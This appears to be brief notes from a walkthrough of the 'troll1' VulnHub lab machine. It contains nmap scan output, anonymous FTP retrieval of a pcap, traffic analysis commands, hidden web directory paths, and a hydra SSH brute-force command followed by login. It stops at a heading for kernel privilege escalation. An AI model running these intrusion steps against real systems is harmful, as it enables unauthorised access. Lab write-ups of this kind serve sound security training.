ANON FTP

READ PCAP

SSH BRUTE FORCE

KERNEL TO PRIVESC

```
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx    1 1000     0            8068 Aug 10  2014 lol.pcap [NSE: writeable]
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.2.158
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 600
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 d6:18:d9:ef:75:d3:1c:29:be:14:b5:2b:18:54:a9:c0 (DSA)
|   2048 ee:8c:64:87:44:39:53:8c:24:fe:9d:39:a9:ad:ea:db (RSA)
|   256 0e:66:e6:50:cf:56:3b:9c:67:8b:5f:56:ca:ae:6b:f4 (ECDSA)
|_  256 b2:8b:e2:46:5c:ef:fd:dc:72:f7:10:7e:04:5f:25:85 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/secret
|_http-server-header: Apache/2.4.7 (Ubuntu)
```

```
|_http-title: Site doesn't have a title (text/html).
```

```
ftp 192.168.2.204

get lol.pcap

root@akg:/home/akg/Desktop/vulnhub/troll1# tcpdump -qns 0 -A -r lol.pcap
```

tcpick -C -yP -r lol.pcap

http://192.168.2.204/sup3rs3cr3tdirlol/

```
root@akg:/home/akg/Desktop/vulnhub/troll1# strings roflmao
```

http://192.168.2.204/0x0856BF/

```
hydra -L user.txt -p Pass.txt 192.168.2.204 ssh

ssh overflow@192.168.2.204 Pass.txt

overflow@troll:/tmp$ uname -a

Linux troll 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 i686 i686 GNU/Linux
```

Kernel to ROOT